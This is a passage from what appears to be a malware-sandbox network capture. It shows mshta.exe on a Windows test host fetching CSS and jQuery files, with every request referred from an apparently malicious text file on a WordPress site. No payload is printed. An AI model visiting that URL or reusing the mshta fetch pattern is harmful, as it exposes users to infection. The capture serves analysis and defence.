Aug 16, 2022 11:49:52.936604977 CEST	680	IN	Data Raw: 61 63 69 74 79 3a 20 30 2e 38 3b 0a 7d 0a 2f 2a 20 6f 76 65 72 6c 61 79 20 61 6e 69 6d 61 74 65 20 6f 75 74 20 2a 2f 0a 2e 6d 66 70 2d 66 61 64 65 2e 6d 66 70 2d 62 67 2e 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 20 7b 0a 20 20 6f 70 61 63 69 74 79 3a Data Ascii: acity: 0.8;}/* overlay animate out /.mfp-fade.mfp-bg.mfp-removing { opacity: 0;}/ content at start */.mfp-fade.mfp-wrap .mfp-content { opacity: 0; -webkit-transition: all 0.15s ease-out; -moz-transition: all 0.15s ease-out;
Aug 16, 2022 11:49:52.936625004 CEST	680	IN	Data Raw: 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 38 29 3b 0a 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 38 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 Data Ascii: bkit-transform: scale(0.8); -moz-transform: scale(0.8); -ms-transform: scale(0.8); transform: scale(0.8); opacity: 0;}.mfp-zoom-in.mfp-removing.mfp-bg { opacity: 0;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49175	104.18.10.207	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:44.783030033 CEST	33	OUT	GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: netdna.bootstrapcdn.com Connection: Keep-Alive
Aug 16, 2022 11:49:44.808713913 CEST	35	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:44 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 Content-Encoding: gzip Last-Modified: Mon, 25 Jan 2021 22:04:51 GMT CDN-CachedAt: 08/03/2021 17:42:29 CDN-EdgeStorageId: 601 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-ProxyVer: 1.0 CDN-Status: 200 CDN-RequestId: 6a3ecfb7abce577b84969b7b3a3242a6 CDN-Cache: HIT CF-Cache-Status: HIT Age: 14926320 Server: cloudflare CF-RAY: 73b94302eefe694b-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 37 34 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 5d fb 93 db 36 92 fe dd 7f 05 cf a9 9c 1d 97 29 0f 47 f3 de ca 5e 1c c7 d9 73 9d 73 76 ad 9d da bd ba 47 15 45 42 12 33 94 c8 f0 31 0f 5f e5 7f bf af 01 52 ea 16 d9 a0 72 1b d7 ae e3 21 1b 40 a3 f1 f5 03 8d 06 e7 d5 8b 7f 7a 12 bc 08 82 1f 8b 6d 13 bc be 37 75 b1 31 c1 7c 76 3a 8b ec e3 66 6d 82 2c 29 b6 59 12 2c 89 22 35 75 b6 da 9a 14 3f 55 c1 f7 45 d1 d4 4d 15 97 96 34 fc 43 ff d8 2e 3f 63 f4 65 9b e7 41 dd 66 8d 09 8a 65 50 66 49 53 ac 30 e4 1a 1c 11 63 f5 cb c0 3c c4 9b 32 37 f8 57 bc 4d 83 b4 48 da 8d d9 36 71 93 15 db 20 89 b7 c1 c2 d8 ce 96 45 8b d7 71 13 ac 9b a6 bc 79 f5 8a e6 13 bb 09 cf b2 62 16 04 9f 9a f8 31 68 cb a0 29 82 34 a6 e1 b6 c1 e7 fb ac 69 4c 85 56 b6 8b ae 65 e3 9e ce 92 62 23 7a 01 8d 25 7b 9f 25 66 5b bb 51 ff 50 a1 84 4e d0 56 2e 62 c1 ec da 64 75 90 bb 91 d3 00 53 05 db 9f de bd 0f 3e fc f8 3e 88 66 51 e0 da ee e6 50 27 55 56 36 f5 ac ce f2 59 51 ad 5e 81 ac eb 5c 74 fc e6 d3 a7 97 c1 fb b7 f4 37 09 f7 d3 eb 4f 9f 82 65 06 61 07 71 65 0e 87 fb e9 dd e7 7e ee 87 c3 15 25 24 52 b4 55 62 ec 68 1d 9f f5 ab 4d d6 84 dd 0f b3 75 b3 c9 c7 78 90 2b 7a 30 c5 37 6f 82 ef ff 03 80 3d 39 1c 31 a9 0c 20 70 67 b0 48 1b c0 44 0e bb 78 7c 85 26 af ba d1 5e 37 4d 95 2d 5a 0b 18 08 71 5b 04 79 b1 5d 41 7e 95 f9 b5 cd 2a a0 3d db 1e 2a c8 c9 cb 00 2d 82 4d 9b ac 83 b8 2c 2b 93 64 c0 4c 7a 63 bb 0c 82 a7 42 8a 8b c7 e0 87 f8 ce Data Ascii: 1747]6)G^ssvGEB31_Rr!@zm7u1\|v:fm,)Y,"5u?UEM4C.?ceAfePfIS0c<27WMH6q Eqyb1h)4iLVeb#z%{%f[QPNV.bduS>>fQP'UV6YQ^\t7Oeaqe~%$RUbhMux+z07o=91 pgHDx\|&^7M-Zq[y]A~=-M,+dLzcB
Aug 16, 2022 11:49:44.808753967 CEST	36	IN	Data Raw: 04 7f 81 0c 1f 83 70 1c 81 4f 7b f8 bc 6e 9b 35 b4 2b 64 6d 1c a3 7f 28 96 6c 97 6f 37 71 96 df 00 ee 77 e6 3b a9 0f f6 75 07 ff 9b 31 e0 2f 1e eb 04 5a 59 5b c2 bf 15 d5 ed 4d f0 de c4 69 f0 b1 2a d2 36 69 82 1f 9c a5 a8 82 ef 82 7f 7b ac da b6 Data Ascii: pO{n5+dm(lo7qw;u1/ZY[Mi*6i{Lz?_WM&Q[>eV6Yx<#wFf3\_{g3S4r5z}2{]kyl&MM<4'rge=>}5oB}A26@
Aug 16, 2022 11:49:44.808772087 CEST	37	IN	Data Raw: e7 40 4c 42 b1 15 ad 67 0d 07 ba d8 d9 8f c1 56 b8 eb 77 74 cc 81 dc 45 27 fb 6d e9 90 6e 9c 93 21 9d 33 6a 03 a6 18 e1 ef 5d cd 9d 9b 74 7d 9c 3e 60 82 e3 8b e6 a7 64 b3 db 3b f9 e3 fa b4 1e b5 27 e5 9e d5 1a ff 59 74 75 14 1a a5 b0 c6 a7 60 77 Data Ascii: @LBgVwtE'mn!3j]t}>`d;'Ytu`w*$F% 4M8!!A80G(8n\|{,w'?fcAlK[c@vP(KECVZvB#:xw,;j@%
Aug 16, 2022 11:49:44.808784008 CEST	39	IN	Data Raw: 70 9c 0d 6f ae a1 f3 74 c9 4c 6f 82 ac 42 15 ab b4 73 6e 78 29 7b a4 53 72 18 2f 8a 5c 57 e0 39 87 70 86 f0 da 13 61 cc 85 3d a5 ca a5 2e 65 a6 4d 6e ce b1 6c b3 2a 2e e5 a6 d2 73 2c db dc aa 2d 76 d0 a7 c9 b1 ec e8 5d 11 95 de 82 83 d9 b5 e0 26 Data Ascii: potLoBsnx){Sr/\W9pa=.eMnl*.s,-v]&eh/mdK=JsTPdW&:grB2e;^@'X7%h6.C"Owa$xodH=&<"EDC7Y/8qgucJ$uM7VxjY[)6k#^
Aug 16, 2022 11:49:44.808799982 CEST	40	IN	Data Raw: 50 ba 7a 1e 75 29 cd a1 d1 a5 0d 85 4e cd 21 dc 1d c3 33 81 f7 06 0d ca a8 6f 26 0d c7 75 6e 56 9e 82 0f c3 e1 9c a2 66 63 51 f8 22 3d 33 92 56 f1 ee 00 cc d8 86 d3 df 42 06 e5 9e 22 29 23 ed 70 63 36 b1 ee fa 0c c7 31 76 b2 f8 fe 44 ae 9f fd 1a Data Ascii: Pzu)N!3o&unVfcQ"=3VB")#pc61vDG3U=7H0"d#Bqr"l]7oL^FwKgO Kh7Yh}'Pe<\|p.3EZ[tsJK6S/H8r!Jtj^6cwcR\|HZ$Oq
Aug 16, 2022 11:49:44.808831930 CEST	40	IN	Data Raw: 91 e8 92 9b 70 ec bd 5b f5 72 6f 24 ea 6b 53 fc fe 93 85 e7 ac 3d 12 85 b5 f5 2d 7d a3 5d e5 81 83 18 bf 74 a7 aa 7f 6d 3d f7 b0 f0 15 16 16 41 37 74 a6 a6 ef ec 65 1d 2d 0e eb 3c 52 be e2 d1 8c 9f 52 c4 2e f8 8d 3f 7a 89 47 24 6a 67 eb 56 df 42 Data Ascii: p[ro$kS=-}]tm=A7te-<RR.?zG$jgVB2YH#tEqU"Q{'lD%,~=#}J t>>_j
Aug 16, 2022 11:49:44.808845043 CEST	40	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.22	49195	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:53.184031010 CEST	714	OUT	GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:53.413325071 CEST	732	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:53 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:37:34 GMT ETag: "a5169a-156c1-58592f1eb4380" Accept-Ranges: bytes Content-Length: 87745 Connection: close Content-Type: text/css Data Raw: 2e 6d 6f 74 6f 70 72 65 73 73 2d 74 65 78 74 2d 6f 62 6a 20 73 70 61 6e 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 65 6d 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 6f 62 6a 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 6f 62 6a 2d 62 61 73 69 63 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 20 6f 75 74 73 69 64 65 20 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 7b 6d 61 72 67 69 6e 3a 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 3a 62 65 66 6f 72 65 2c 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 20 69 6d 67 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 20 6f 75 74 73 69 64 65 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 72 69 67 68 74 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 74 74 6f 6d 3a 2d 34 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 20 6c 69 7b 6d 61 72 67 69 6e 3a 30 20 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 Data Ascii: .motopress-text-obj span{line-height:1em}.motopress-image-obj .motopress-image-obj-basic{max-width:100% !important;margin:0 !important;padding:0 !important;border:0}.motopress-image-slider-obj{line-height:normal;min-height:0}.motopress-image-slider-obj *{line-height:normal}.motopress-image-slider-obj .slides{list-style:none outside none;margin:0 !important;padding:0;line-height:normal}.motopress-image-slider-obj .slides li{margin:0;margin-left:0 !important;padding:0}.motopress-image-slider-obj .slides li:before,.motopress-image-slider-obj .slides li:after{content:none !important}.motopress-image-slider-obj .slides li img{margin:0;padding:0;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;border:0}.motopress-image-slider-obj .flex-control-nav{position:absolute !important;list-style:none outside none !important;margin:0 !important;padding:0 !important;line-height:normal;right:auto !important;bottom:-40px !important;text-align:center !important;z-index:auto !important}.motopress-image-slider-obj .flex-control-nav li{margin:0 6px !important;padding:0;width:auto !important
Aug 16, 2022 11:49:53.413351059 CEST	733	IN	Data Raw: 3b 68 65 69 67 68 74 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 20 6c 69 3a 62 65 66 6f 72 65 2c 2e 6d Data Ascii: ;height:auto !important}.motopress-image-slider-obj .flex-control-nav li:before,.motopress-image-slider-obj .flex-control-nav li:after{content:none !important}.motopress-image-slider-obj .flex-control-nav li a{position:static;z-index:auto;widt
Aug 16, 2022 11:49:53.413377047 CEST	735	IN	Data Raw: 6f 62 6a 20 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 3a 68 6f 76 65 72 20 2e 66 6c 65 78 2d 6e 65 78 74 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f Data Ascii: obj .flex-direction-nav:hover .flex-next:hover{opacity:1}.motopress-image-slider-obj>p{display:none !important}.motopress-row .motopress-clmn.motopress-space{min-height:10px}.motopress-row .motopress-clmn.motopress-space .motopress-space-obj{h
Aug 16, 2022 11:49:53.413399935 CEST	736	IN	Data Raw: 70 72 65 73 73 2d 72 6f 77 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 63 6c 6d 6e 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 2d 6f 62 6a 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 2d 68 65 61 Data Ascii: press-row .motopress-clmn.motopress-space .motopress-space-obj.motopress-space-heavy>div{border-top:6px inset #cdcdcd;margin-top:-3px}.motopress-video-obj{position:relative;padding-bottom:56.25%;padding-top:30px;height:0;overflow:hidden}.motop
Aug 16, 2022 11:49:53.413423061 CEST	737	IN	Data Raw: 23 66 65 66 65 66 65 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 74 6f 70 2c 23 65 36 65 36 65 36 2c 23 66 65 66 65 66 65 29 3b 66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58 Data Ascii: #fefefe);background-image:linear-gradient(to top,#e6e6e6,#fefefe);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe6e6e6',endColorstr='#fffefefe',GradientType=0)}.motopress-button-obj .motopress-btn-color-silver:hover{color
Aug 16, 2022 11:49:53.413448095 CEST	739	IN	Data Raw: 73 73 2d 62 75 74 74 6f 6e 2d 6f 62 6a 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 62 74 6e 2d 63 6f 6c 6f 72 2d 72 65 64 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 61 36 38 35 37 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 Data Ascii: ss-button-obj .motopress-btn-color-red:hover{background-color:#ea6857;background-image:-moz-linear-gradient(bottom,#e76452,#ef6f5f);background-image:-webkit-gradient(linear,0 100%,0 0,from(#e76452),to(#ef6f5f));background-image:-webkit-linear-
Aug 16, 2022 11:49:53.413470984 CEST	740	IN	Data Raw: 30 30 25 2c 30 20 30 2c 66 72 6f 6d 28 23 66 35 38 64 62 63 29 2c 74 6f 28 23 66 64 63 62 65 31 29 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d Data Ascii: 00%,0 0,from(#f58dbc),to(#fdcbe1));background-image:-webkit-linear-gradient(bottom,#f58dbc,#fdcbe1);background-image:-o-linear-gradient(bottom,#f58dbc,#fdcbe1);background-image:linear-gradient(to top,#f58dbc,#fdcbe1);filter:progid:DXImageTrans
Aug 16, 2022 11:49:53.415543079 CEST	742	IN	Data Raw: 6e 74 28 74 6f 20 74 6f 70 2c 23 66 62 38 65 33 64 2c 23 66 66 62 66 35 39 29 3b 66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 67 72 61 64 69 65 6e 74 28 73 74 61 72 74 Data Ascii: nt(to top,#fb8e3d,#ffbf59);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffb8e3d',endColorstr='#ffffbf59',GradientType=0)}.motopress-button-obj .motopress-btn-color-hot-summer{-webkit-box-shadow:inset 0 0 0 1px #f2bf0b;-mo
Aug 16, 2022 11:49:53.421363115 CEST	743	IN	Data Raw: 6e 2d 63 6f 6c 6f 72 2d 6f 6c 69 76 65 2d 67 61 72 64 65 6e 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 31 70 78 20 23 38 61 64 35 33 32 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e Data Ascii: n-color-olive-garden{-webkit-box-shadow:inset 0 0 0 1px #8ad532;-moz-box-shadow:inset 0 0 0 1px #8ad532;box-shadow:inset 0 0 0 1px #8ad532;background-color:#92ca26;background-image:-moz-linear-gradient(bottom,#7fb615,#afe840);background-image:
Aug 16, 2022 11:49:53.421469927 CEST	744	IN	Data Raw: 69 6d 61 67 65 3a 2d 6d 6f 7a 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d 2c 23 33 32 39 63 30 64 2c 23 35 62 64 36 33 66 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 67 72 61 64 69 65 Data Ascii: image:-moz-linear-gradient(bottom,#329c0d,#5bd63f);background-image:-webkit-gradient(linear,0 100%,0 0,from(#329c0d),to(#5bd63f));background-image:-webkit-linear-gradient(bottom,#329c0d,#5bd63f);background-image:-o-linear-gradient(bottom,#329c
Aug 16, 2022 11:49:53.645363092 CEST	747	IN	Data Raw: 30 61 61 65 61 2c 23 32 35 65 33 65 66 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d 2c 23 30 30 61 61 65 61 2c 23 32 35 65 33 65 66 29 3b 62 61 63 6b 67 72 6f Data Ascii: 0aaea,#25e3ef);background-image:-o-linear-gradient(bottom,#00aaea,#25e3ef);background-image:linear-gradient(to top,#00aaea,#25e3ef);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00aaea',endColorstr='#ff25e3ef',GradientTyp

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.22	49196	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:53.471493959 CEST	745	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:53.690768957 CEST	774	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:23 GMT Server: Apache ETag: "a4faba-ce4-58592ec326b80" Last-Modified: Tue, 02 Apr 2019 21:35:58 GMT Content-Length: 3300 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21188785 14781124 Age: 150 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 6a 73 77 69 6e 67 3d 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 73 77 69 6e 67 3b 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2c 7b 64 65 66 3a 22 65 61 73 65 4f 75 74 51 75 61 64 22 2c 73 77 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 5b 6a 51 75 65 72 79 2e 65 61 73 69 6e 67 2e 64 65 66 5d 28 65 2c 61 2c 63 2c 62 2c 64 29 7d 2c 65 61 73 65 49 6e 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 61 2f 3d 64 29 2a 28 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 2d 2d 61 2a 28 61 2d 32 29 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 43 75 62 69 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2b 63 3a 0a 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2b 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 2d 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2d 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2b 63 3a 2d 62 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2d 32 29 2b 63 7d 2c 65 61 73 65 49 6e 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2a 61 2b 63 7d 2c 65 61 73 65 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 62 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2a 61 2b 31 29 2b 63 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 63 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 31 3e 28 61 2f 3d 64 2f 32 29 3f 62 2f 32 2a 61 2a 61 2a 61 2a 61 2a 61 2b 63 Data Ascii: jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b(a/=d)a+c},easeOutQuad:function(e,a,c,b,d){return-b(a/=d)(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 